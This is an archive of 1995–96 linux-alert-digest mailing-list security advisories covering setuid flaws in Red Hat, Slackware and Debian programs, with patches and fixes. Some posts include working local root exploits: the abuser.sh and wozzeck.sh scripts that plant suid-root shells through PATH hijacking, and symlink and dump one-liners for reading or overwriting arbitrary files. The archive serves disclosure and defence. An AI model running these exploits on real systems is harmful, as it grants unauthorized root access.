section. Other Distributions If there is no distribution specific package that fixes the fvwm security hole available at this time, it is recommended that either use of the fvwm should be discontinued, or a fixed version of fvwm used to create Debian/GNU Linux package should be installed. The source code of it is available from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/source/x11/fvwm-1.24r-10.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/fvwm-1.24r-10.tar.gz Please verify the MD5 hash of the file prior to using it. 4bf102e2451ab7ae4fbc42712b3b79c2 fvwm-1.24r-10.tar.gz CREDITS This LSF Update is based on the information provided by Winfried Truemper ([email protected]), Marc Ewing ([email protected]), Olaf Kirch ([email protected]), Ian Murdock ([email protected]), Austin Donnelly ([email protected]) and Patrick J. Volkerding ([email protected]) - - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPX2PoxFUz2t8+6VAQHAvAQAh8OD8BRdwEB+44JxGhYvM95rPXLXfPMr je0AnkIuW/pHC/k0nZ80vI8/ZvYMfSBbElrijDyM0tL63G2Jkhl3UbQA0fuzmiKc C3445l5Z82+FYYI7ZdD9mw/aSs5QE82P0VT+XD83eN9laLoG2XwX39Yg1HrOrS7f RICO+g9Lwgk= =b41E - - -----END PGP SIGNATURE----- - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPX6Np0afeTWLUSJAQEMQwP/Rts1JcREak/OyQSwWCOit1tVNuwyeBIf gSjmEKoAoWAl0NmkfKHjhKV9Xn06HvjoA18P+P2o82hRbZMIVyQh8LmOtrMv3Aj2 eFCUz5W+fEbgwCjdSHV5St6G2itjZTgc1oQbAmE5vh6RoKjRw85HJDmv834PgMjO b8/VCDc4qbA= =sheq - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: "Alexander O. Yuriev" Date: Sat, 13 Jan 1996 17:25:05 -0500 (EST) Subject: LSF Update#10: Another correction. - -----BEGIN PGP SIGNED MESSAGE----- [LINUX SECURITY FAQ UPDATES ADMIN NOTE] Another error was noticed in a Linux Security FAQ Update#10 regarding the vulnerability of fvwm 1.24. The LSF Update#10 reads: ***** BEGIN LSF UPDATE QUOTE ***** SOLUTION TO THE PROBLEM The successful attack against fvwm exploits a race condition that occurs when fvwm performs certain operations. The following information should allow one to prevent the race condition from occurring. 1. /tmp directory should be owned by (root:root) with world-write, world-execute and world-read permissions. A sticky bit is *required* on this directory. Use the following set of commands to change your /tmp directory parameters to conform with the requirements: chown root.root /tmp (make ownership (root:root)) chmod 777 /tmp (make protection mode 777) chmod +s /tmp (place a sticky bit on) ***** END LSF UPDATE QUOTE ****** The line "chmod +s /tmp (place a sticky bit on)" has to be read as "chmod +t /tmp (place a sticky bit on)". Please make the necessary changes in the protection mode of the /tmp directory --- Alexander O. Yuriev - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMPgsCYxFUz2t8+6VAQGBfQP+LAzTvTpuMcIa2TFdThFX+Z8zBFBtp2Bu zqrLAHvLDUe8McFP8V9gRDIpc/rgFoNBjyVwrZ31ruK0RuqJ3363lq8iHebaVmni 4jacgKj4BBWVdN40RRQaK3qJ52lH7tebZvjw0wLAF6sYoXt3DHIsB+GM+B5T+aQz n0W24Bmof4s= =rsNv - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ End of linux-alert-digest V2 #1 ******************************* linux-alert-digest/v02.n002100664 1767 1767 20505 6103355221 14671 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #2 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Tuesday, 30 January 1996 Volume 02 : Number 002 Linux: dip security hole dump RedHat security hole Re: Linux: dip security hole Red Hat mh inc/msgchk security hole XFree86 3.1.2 Security Problems ---------------------------------------------------------------------- From: Dan Walters Date: Sun, 21 Jan 1996 14:34:22 -0600 (CST) Subject: Linux: dip security hole [mod: I've removed the exploit code from this posting so that users can't exploit the hole too easily. The full posting has been approved to linux-security (and bugtraq, for that matter). An LSF update is being prepared. --okir] PROGRAM: dip 3.3.7n, and probably other variants AFFECTED SYSTEMS: Linux - Slackware 3.0 and RedHat 2.1 verified, others unknown. IMPACT: Local users can get superuser privleges. SYNOPSIS: Some Linux distributions come with dip setuid root by default. There are multiple points in dip where an unbounded buffer is used with user supplied data making possible a stack overflow. Functions in which this appears to be possible include do_chatkey() and mdm_dial(). WORKAROUND: It is suggested that at least until the source has been further scrutinized that dip not be setuid unless necessary. chmod 0755 dip If you must have dip setuid, place it in a group where it can only be executed by trusted users. SAMPLE EXPLOIT: [removed] - -------------------------------------------------------------------- Dan Walters [email protected] ------------------------------ From: [email protected] Date: Mon, 22 Jan 1996 20:45:37 -0500 (EST) Subject: dump RedHat security hole [mod: Marc Ewing has already made available an RPM for this; the URL is ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/dump-0.2e-4.i386.rpm --okir] There is a security hole in RedHat 2.1, which installs /sbin/dump suid root. The dump program makes no provisions for checking file permissions, allowing any user on the system to read arbitrary files on the system. Dump checks permissions only on the directory you specify to backup, and not on files or subdirectories. The process to exploit this is to backup the files via dump as if it was a normal backup to a temporary file, and then restore the temporary file with /sbin/restore to your own directory. The solution is simple, don't run dump suid root on your system. Program: /sbin/dump incorrectly installed Affected Operating Systems: RedHat 2.1 linux distribution Requirements: account on system Patch: chmod -s /sbin/dump Security Compromise: read arbitrary files on system Author: Dave M. ([email protected]) Synopsis: dump fails to check file permissions against user running dump, or to give up suid when backing up a filesystem. Exploit: $ /sbin/dump 0uf woot.dump DIRECTORY_FILE_TO_READ_IS_IN /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ From: Marc Ewing Date: Tue, 23 Jan 1996 11:01:03 -0500 Subject: Re: Linux: dip security hole A security hole exists in all shipped releases of the "dip" package for Red Hat Linux (for Intel architectures -- there is no dip for Red Hat/AXP yet). Users should immediately upgrade: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/updates/RPMS/dip-3.3.7n-3.i386.rpm MD5 sum: 3c94852a8fb636aa9b5407cae155e2ae dip-3.3.7n-3.i386.rpm - -Marc ------------------------------ From: David J Meltzer Date: Wed, 24 Jan 1996 22:12:07 -0500 (EST) Subject: Red Hat mh inc/msgchk security hole [mod: This is not a terribly dangerous hole, but I'm approving this to linux-alert nevertheless. Making tools such as mail readers setuid root is a bad idea, anyway (IMHO). Marc Ewing has made an updated RPM available at ftp.redhat.com as /pub/redhat-2.1/i386/updates/RPMS/mh-6.8.3-4.i386.rpm Its MD5 sum is 32d61477bc9facfbad7315598d5dee91. --okir] There is a security hole in Red Hat 2.1, which installs /usr/bin/mh/inc and /usr/bin/mh/msgchk suid root. These programs are configured suid root in order to bind to a privileged port for rpop authentication. However, there is a non-security conflict between mh and the default Red Hat 2.1 configuration in that the /etc/services lists pop-2 and pop-3 services, but the mh utilities do lookups for a pop service, which doesn't exist, resulting in an inability to use any of the pop functionality. This may be a fortunate bug, since there may be more serious security holes within the pop functions of these two program. The security hole present in these two programs is that when opening up the configuration files in the user's home directory, root privileges are maintained, and symbolic links are followed. This allows an arbitrary file to to be opened. Fortunately, the program does not simply dump the contents of this file anywhere, and only certain formatting is allowed in the file to be processed by the program in order to see any output. In the cases where it will be processed, only the first line of the file will actually be output to the user. Program: /usr/bin/mh/inc, /usr/bin/mh/msgchk Affected Operating Systems: RedHat 2.1 linux distribution Requirements: account on system Patch: chmod -s /usr/bin/mh/inc /usr/bin/mh/msgchk Security Compromise: read 1st line of some arbitrary files Author: Dave M. ([email protected]) Synopsis: inc & msgchk fail to check file permissions before opening user configuration files in the user's home directory, allowing a user on the system to read the first line of any file on the system with some limitations. Exploit: $ ln -s FILE_TO_READ ~/.mh_profile $ /usr/bin/mh/msgchk /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ From: David J Meltzer Date: Mon, 29 Jan 1996 00:16:46 -0500 (EST) Subject: XFree86 3.1.2 Security Problems There are security holes in XFree86 3.1.2, which installs its servers as suid root (/usr/X11R6/bin/XF86_*). When reading and writing files, it does not take proper precautions to ensure that file permissions are maintained, resulting in the ability to overwrite files, and to read limited portions of other files. The [primary] problem stems from the server opening a temporary file, /tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC). By making this file a symlink, the server will overwrite the original file, and then write to it its current pid. Program: XFree86 3.1.2 servers Affected Operating Systems: All systems with XFree86 3.1.2 installed Requirements: account on system Temporary Patch: chmod o-x /usr/X11R6/bin/XF86* Security Compromise: overwrite arbitrary files Author: Dave M. ([email protected]) Synopsis: While running suid root, XFree86 servers do not properly check file permissions, allowing a user to overwrite arbitrary files on a system. Exploit: $ ls -l /var/adm/wtmp - -rw-r--r-- 1 root root 174104 Dec 30 08:31 /var/adm/wtmp $ ln -s /var/adm/wtmp /tmp/.tX0-lock $ startx (At this point exit X if it started, or else ignore any error messages) $ ls -l /var/adm/wtmp - -r--r--r-- 1 root root 11 Dec 30 08:33 /var/adm/wtmp /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ End of linux-alert-digest V2 #2 ******************************* linux-alert-digest/v02.n003100664 1767 1767 40117 6106334021 14671 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #3 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Thursday, 8 February 1996 Volume 02 : Number 003 bind() Security Problems LSF Update#11: Vulnerability of rxvt Problem with minicom 1.71 abuse Red Hat 2.1 security hole resizecons Red Hat 2.1 security hole ---------------------------------------------------------------------- From: "Aleph's K-Rad GECOS Field" Date: Tue, 30 Jan 1996 15:18:21 -0800 (PST) Subject: bind() Security Problems System Call: bind() Affected Operating System: Linux, SunOS, FreeBSD, BSDI, Ultrix Probably others. Requirement: account on system. Security Compromise: Stealing packets from nfsd, yppasswd, ircd, etc. Credits: *Hobbit* bitblt Aleph One Synopsis: bind() does not properly check to make sure there is not a socket already bound to INADDR_ANY on the same port when binding to a specific address. On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound width INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its udp packets/tcp connection. Exploit: Download and compile netcat from ftp://ftp.avian.org/src/hacks/nc100.tgz Make sure an nfs server is running: w00p% netstat -a | grep 2049 udp 0 0 *.2049 *.* LISTEN Run netcat: w00p% nc -v -v -u -s 192.88.209.5 -p 2049 listening on [192.88.209.5] 2049 ... Wait for packets to arrive. Fix: Linux: A patch was been sent to Linus and Alan Cox. It should be included with 1.3.60. My original patch (included bellow) allows for binds from the same uid, as some virtual hosting software like modified httpds, and ftpds, may break otherwise. Alan didnt like this, so all bind to the same port will not be allowed in newer kernels. You should be able to easily adapt this patch or Alan's patch to 1.2.13 without much trouble. Others: Pray to your vendors. - --- begin patch --- diff -u --recursive --new-file linux-1.3.57/net/ipv4/af_inet.c linux/net/ipv4/af_inet.c - --- linux-1.3.57/net/ipv4/af_inet.c Mon Dec 25 20:03:01 1995 +++ linux/net/ipv4/af_inet.c Tue Jan 16 19:46:28 1996 @@ -46,6 +46,8 @@ * Germano Caronni : Assorted small races. * Alan Cox : sendmsg/recvmsg basic support. * Alan Cox : Only sendmsg/recvmsg now supported. + * Aleph One : Rogue processes could steal packets + * from processes bound to INADDR_ANY. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License @@ -899,6 +901,12 @@ if (sk2->num != snum) continue; /* more than one */ + if ((sk2->rcv_saddr == 0 || sk->rcv_saddr == 0) && + current->euid != sk2->socket->inode->i_uid) + { + sti(); + return(-EADDRINUSE); + } if (sk2->rcv_saddr != sk->rcv_saddr) continue; /* socket per slot ! -FB */ if (!sk2->reuse || sk2->state==TCP_LISTEN) Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 ------------------------------ From: "Alexander O. Yuriev" Date: Tue, 30 Jan 1996 01:50:06 -0500 (EST) Subject: LSF Update#11: Vulnerability of rxvt - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update rxvt vulnerability Wed Jan 24 13:25:44 EST 1996 Copyright (C) 1995, 1996 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/9ED505C5 1995/12/06 Jeffrey A. Uphoff Jeffrey A. Uphoff 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT The rxvt program used to emulate VT100 terminal in the X11 environment can be exploited to gain unauthorized root access. This Linux Security FAQ Update provides information that can be used to deal with this problem. RISK ASSESSMENT The information released to full-disclosure mailing lists allows any local user to obtain an unauthorized root access if rxvt is installed as a suid-to-root program. SOLUTION TO THE PROBLEM Immediately remove a suid bit from the rxvt binary using command: chmod 111 /usr/X11R6/bin/rxvt This assumes that you have rxvt installed as /usr/X11R6/bin/rxvt. If that is not the case, locate the binary and substitute /usr/X11R6/bin/rxvt with its name. You can use one of the following commands to locate rxvt: locate rxvt | grep -v rxvt.1x or find / -type f -name rxvt -print DISTRIBUTION FIXES After you install the distribution-specific fixed version of rxvt, you should make the rxvt binary suid-to-root. Red Hat Linux 2.1 & 2.0, Caldera Network Desktop The Red Hat Commercial Linux 2.0 and 2.1 distributions and Caldera Network Desktop are vulnerable to an attack against rxvt. Marc Ewing ([email protected]) provided the RPM package that fixes the security problem with rxvt. The package can be obtained from one of the following URLs: ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/rxvt-2.10-3.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/RedHat2.1/rxvt-2.10-3.i386.rpm ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/RedHat2.0/rxvt-2.10-3.i386.rpm Please verify the MD5 hash of the file prior to installing the package: b50028ae040c7778d3a0fe98316f5615 rxvt-2.10-3.i386.rpm Debian/GNU Linux The Debian/GNU Linux distribution includes a vulnerable version of rxvt. Ian Murdock ([email protected]) provided information about the official replacement package for the Debian/GNU Linux that fixes this rxvt problem. The fixed package can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/x11/rxvt-2.10-2.deb ftp://bach.cis.temple.edu/pub/Linux/Security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/Debian/rxvt-2.10-2.deb Please verify the MD5 hash of the file prior to installing the package. f6a704ede216a3e67e8517a5d179a6f2 rxvt-2.10-2.deb Slackware 3.0 Slackware 3.0 is vulnerable to an attack against rxvt. There is no Slackware-specific fixed version of rxvt package available at this time. Until such fixed version of rxvt becomes available, users of Slackware 3.0 are advised to follow the procedure in the "Other Linux Distributions" section of this Update. Yggdrasil Plug & Play Fall'95 Yggdrasil Plug and Play Fall'95 Linux distribution does not include rxvt and therefore is not vulnerable as long as you did not install your own version of rxvt. Other Linux Distributions If your Linux distribution is not listed above or there is no fixed version of rxvt available for your distribution or you installed rxvt yourself, it is recommended that you obtain the source code of rxvt used as a base for Debian/GNU Linux package. The source code can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/source/x11/rxvt-2.10-2.tar.gz ftp://bach.cis.temple.edu/pub/Linux/Security/rxvt-2.10-2.tar.gz ftp://linux.nrao.edu/pub/linux/security/DISTRIBUTION-FIXES/OTHER/rxvt-2.10-2.tar.gz Please verify the MD5 hash of the file prior to installing it. f3e08f8f97da3c4f245c8de970e05c9d rxvt-2.10-2.tar.gz CREDITS Marc Ewing ([email protected]) Ian Murdock ([email protected]) Adam J. Richter ([email protected]) Olaf Kirch ([email protected]) Allen Wheelwright ([email protected]) Jeff Uphoff ([email protected]) - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMQ2+koxFUz2t8+6VAQGuWgQAgjshASO3Mz8ldHoUnJlSsDdXPwipmdc8 JLHGauq+AZasvWSoZKSpenakwklkzTDPNYm48g7/jlE97B2yANi1JxxYaK+QjZg8 C5imnKxj2LvgDxVy6+aSG1NvBqIWEush7VX2+Ubh1P3K8E2tth6SsdDx3qfY3/wK gbWzEY7Qu/4= =dCW2 - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: Olaf Kirch Date: Thu, 01 Feb 1996 04:07:01 +0100 Subject: Problem with minicom 1.71 - -----BEGIN PGP SIGNED MESSAGE----- Hi all, There is a problem present in minicom 1.72 and earlier versions that allows local users to execute programs under whatever uid or gid minicom runs. People often make minicom suid or sgid to some ID because they keep their tty log files in the UUCP spool directory or something like this. Please check whether your minicom binary runs suid or sgid, and consider upgrading. Miquel van Smoorenburg has fixed this in his latest version available at http://sunsite.unc.edu/pub/Linux/apps/comm/minicom-1.74.tar.gz Note that this is *not* the same problem as the one discussed half a year ago. I will send a more detailed explanation to linux-security within the next few days. Cheers Olaf - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMRAuTOFnVHXv40etAQFXZQP/TDNpB0Gyi64hDMsf2A2FqC6FyjSg7ZVT 7PwcTuH3Zu6Vh6qDQ9VpWYjpCxBLRd0ho6A4scCbQx90yGTuWwp6McMcYPyZlREo 0IvYW5B6MkBA0aeuJS1dNEotRfZhEMmzK50tvhXyaw+iRnlzOcX7dgMPsZgoGz/o ADCBsM5Vrnk= =SQva - -----END PGP SIGNATURE----- ------------------------------ From: David J Meltzer Date: Fri, 2 Feb 1996 22:28:30 -0500 (EST) Subject: abuse Red Hat 2.1 security hole There is a security hole in Red Hat 2.1, which installs the game abuse, /usr/lib/games/abuse/abuse.console suid root. The abuse.console program loads its files without absolute pathnames, assuming the user is running abuse from the /usr/lib/games/abuse directory. One of these files in the undrv program, which abuse executes as root. If the user is not in the abuse directory when running this, an arbitrary program can be substituted for undrv, allowing the user to execute arbitrary commands as root. If abuse.console needs to be run by users other than root at the console, provisions need to be made in the code to not execute or load any files as root. Program: /usr/lib/games/abuse/abuse.console suid root Affected Operating Systems: Red Hat 2.1 linux distribution Requirements: account on system Patch: chmod -s /usr/lib/games/abuse/abuse.console Security Compromise: root Author: Dave M. ([email protected]) Synopsis: abuse.console runs undrv without an absolute pathname while executing as root, allowing a user to substitute the real undrv with an arbitrary program. Exploit: #!/bin/sh # # abuser.sh # exploits a security hole in abuse to create # a suid root shell /tmp/abuser on a linux # Red Hat 2.1 system with the games package # installed. # # by Dave M. ([email protected]) # echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/lib/games/abuse/abuse.console then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/undrv #!/bin/sh /bin/cp /bin/sh /tmp/abuser /bin/chmod 4777 /tmp/abuser _EOF_ chmod +x /tmp/undrv PATH=/tmp echo ================ Executing Abuse /usr/lib/games/abuse/abuse.console /bin/rm /tmp/undrv if test -u /tmp/abuser then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ From: David J Meltzer Date: Fri, 2 Feb 1996 22:31:23 -0500 (EST) Subject: resizecons Red Hat 2.1 security hole There is a security hole in Red Hat 2.1, which installs the program /usr/bin/resizecons suid root. The resizecons program allows a user to change the videmode of the console. During this process, it runs the program restoretextmode without an absolute pathname, assuming the correct version will be found in the path, while running with root privileges. It then executes setfont in the same manner. By setting the path to find a rogue restoretextmode, a user can execute an arbitrary program as root. As a more amusing aside, the file /tmp/selection.pid is read and the pid contained within is sent a SIGWINCH, allowing a user on the system to force a redraw of the screen to an arbitrary process (that handles SIGWINCH calls) on the machine. If /usr/bin/resizecons needs to be run by users other than root at the console, provisions need to be made in the code to execute the outside utilities with absolute pathnames, and to check access rights on files before opening. Program: /usr/bin/resizecons Affected Operating Systems: Red Hat 2.1 linux distribution Requirements: account on system Temporary Patch: chmod -s /usr/bin/resizecons Security Compromise: root Author: Dave M. ([email protected]) Synopsis: resizecons runs restoretextmode without an absolute pathname while executing as root, allowing a user to substitute the real program with arbitrary commands. Exploit: wozzeck.sh: #!/bin/sh # # wozzeck.sh # exploits a security hole in /usr/bin/resizecons # to create a suid root shell in /tmp/wozz on a # linux Red Hat 2.1 system. # # by Dave M. ([email protected]) # echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/bin/resizecons then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/313x37 This exploit is dedicated to Wozz. Use it with care. _EOF_ cat << _EOF_ > /tmp/restoretextmode #!/bin/sh /bin/cp /bin/sh /tmp/wozz /bin/chmod 4777 /tmp/wozz _EOF_ /bin/chmod +x /tmp/restoretextmode PATH=/tmp echo ================ Executing resizecons /usr/bin/resizecons 313x37 /bin/rm /tmp/restoretextmode /bin/rm /tmp/313x37 if test -u /tmp/wozz then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi /-------------\ |David Meltzer| |[email protected]| /--------------------------\ |School of Computer Science| |Carnegie Mellon University| \--------------------------/ ------------------------------ End of linux-alert-digest V2 #3 ******************************* linux-alert-digest/v02.n004100664 1767 1767 5443 6111042021 14645 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V2 #4 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Friday, 16 February 1996 Volume 02 : Number 004 [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com ---------------------------------------------------------------------- From: Marc Ewing Date: Tue, 06 Feb 1996 15:26:03 -0500 Subject: [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com - -----BEGIN PGP SIGNED MESSAGE----- Content-Type: text/plain; charset=us-ascii There is a security hole in the kbd package as shipped with Red Hat Linux 2.0 and 2.1, both Intel and Alpha platforms. The hole allows any user to gain root privileges. All users should upgrade immediately: Intel: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/kbd-0.91-1.i386. rpm Alpha: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/kbd-0.91-1.a xp.rpm MD5 sums: 34b5f96e57f4cfcb29c22f4908582086 kbd-0.91-1.i386.rpm 90fff35ba5e9ca003e4cd4d3370be2aa kbd-0.91-1.axp.rpm - - -Marc - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMRe5WkRxU2iCv8ftAQEkmAP/WDrFnHKb/Byyf/7CMJy8pa1a/pN5UcRO NRT6ISidNv589C20RadnVLv7HKfpjzLsnB1gF6V7EO9JGI1iOzXLVEgyLiOlYi4z o1hRLHHVqHpVutvvxDkI+QgIO/ICdh+c/dFrWwVPVydQm4TZ44LVomXqX0Qcj81y qD6LwZYBpHA= =2/65 - -----END PGP SIGNATURE----- ------------------------------ From: Marc Ewing Date: Tue, 06 Feb 1996 15:26:03 -0500 Subject: [linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com [Mod: Apologies for the delays on some of the recent messages: I'm having minor mail delivery problems here. --Jeff] - -----BEGIN PGP SIGNED MESSAGE----- Content-Type: text/plain; charset=us-ascii There is a security hole in the kbd package as shipped with Red Hat Linux 2.0 and 2.1, both Intel and Alpha platforms. The hole allows any user to gain root privileges. All users should upgrade immediately: Intel: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/i386/updates/RPMS/kbd-0.91-1.i386. rpm Alpha: rpm -Uvh ftp://ftp.redhat.com/pub/redhat-2.1/axp-beta/updates/RPMS/kbd-0.91-1.a xp.rpm MD5 sums: 34b5f96e57f4cfcb29c22f4908582086 kbd-0.91-1.i386.rpm 90fff35ba5e9ca003e4cd4d3370be2aa kbd-0.91-1.axp.rpm - - -Marc - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMRe5WkRxU2iCv8ftAQEkmAP/WDrFnHKb/Byyf/7CMJy8pa1a/pN5UcRO NRT6ISidNv589C20RadnVLv7HKfpjzLsnB1gF6V7EO9JGI1iOzXLVEgyLiOlYi4z o1hRLHHVqHpVutvvxDkI+QgIO/ICdh+c/dFrWwVPVydQm4TZ44LVomXqX0Qcj81y qD6LwZYBpHA= =2/65 - -----END PGP SIGNATURE----- ------------------------------ End of linux-alert-digest V2 #4 ******************************* linux-alert-digest/1995/ 42775 1767 1767 0 6213304670 14157 5ustar majdommajdomlinux-alert-digest/1995/v01.n001100664 1767 1767 3745 5730532223 15271 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #1 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Sunday, 12 March 1995 Volume 01 : Number 001 NFS deamon can be killed by normal users. Bogus post to Linux Alert ---------------------------------------------------------------------- From: [email protected] Date: Sat, 4 Mar 1995 17:18:35 +0100 (MET) Subject: NFS deamon can be killed by normal users. Hi everyone, I just subscribed, and now I have a place where I can leave this: The nfs deamons can be killed by any user. This is because the nfs deamon takes on the userid of the current request. It then remains at this userID untill the next request. The first fix would be to change back to uid root after serving a request, but this would only reduce the time-span where an attack might succeed. A true solution would allow the nfsd process to indicate to the kernel that although it has the euid of a user, it doesn't want to be considered "owned" by that user. Roger Wolff. ------------------------------ From: [email protected] (Olaf Kirch) Date: Mon, 6 Mar 1995 10:33:48 +0100 (MET) Subject: Bogus post to Linux Alert Hello everyone, Yesterday, I sent someone's report about a hole in the Linux NFS daemon out to this list. The facts are: * This hole has existed for some time * It has been fixed a long time ago When I approved this mail, I thought it was for the discussion list. I can only say to my defense that I have been handling exactly 1362 pieces of list-related mail over the weekend, so the mind gets a little mushroomy. Still, this should not have happened. Apologies to everyone Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax ------------------------------ End of linux-alert-digest V1 #1 ******************************* linux-alert-digest/1995/v01.n002100664 1767 1767 10470 5733240220 15277 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #2 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Monday, 20 March 1995 Volume 01 : Number 002 NFS Vulnerability ---------------------------------------------------------------------- From: [email protected] (Olaf Kirch) Date: Sun, 12 Mar 1995 18:04:07 +0100 (MET) Subject: NFS Vulnerability ALERT - Announcement of the Linux Emergency Response Team :) The current Linux NFS server (version 2.0) has a couple of security problems some of which have been known for a while and supposedly been fixed a long time ago. However, none of the versions I found on the usual FTP sites had these fixes incorporated. On top of that, I discovered a few days ago that you can easily trick it by guessing NFS file handles. This particularly nasty hole allows anyone to mount your entire file system and view all files (kiss your shadow protected passwords goodbye :->). I have written a sample program that demonstrates this hole and will release it at a later date. Release 2.1 of the Universal NFS server fixes these security holes. It does the following things: * Authenticate NFS file handles on every request. Support for it was there, but didn't work in all cases. Authentication code is not yet optimized. Especially for sites that have wildcard names in their /etc/exports, this may cause performance problems. I'll be working on a revamped authentication code that does this faster. * Use setfsuid/setfsgid for setting owner/group on file access rather than seteuid. With the old seteuid method, any user on the system could kill the server. The setfsuid/setfsgid functions were not implemented in libc-4.6.27, so I added a small assembler file that implements them. libc-4.6.29 seems to have them, though. There seem to have been patches that fixed this particular bug before, but they never seem to have made it to any FTP server. * Implement root_squash and no_root_squash mount options. There was a fix for this posted to Usenet recently which implemented the root_squash option. Release 2.1 obsoletes this patch. The complete source is available as nfs-server-2.1.tar.gz from linux.nrao.edu in /pub/people/okir/nfsd. It should compile out of the box, and reportedly works with gcc-ELF, too. In the same directory, you will find a binary release of portmap-3, written by Wietse Venema. I highly recommend you use it, because older versions of portmap have a couple of problems that can result in users on your system gaining root access and/or foreign machines mounting directories from your system via NFS. Attached to the end of this message, you find the MD5 and PGP signatures for both files. The PGP signature can be verified with my public key (you can obtain the key by fingering [email protected]). To verify the PGP signatures, save each of them to a separate file and pipe them 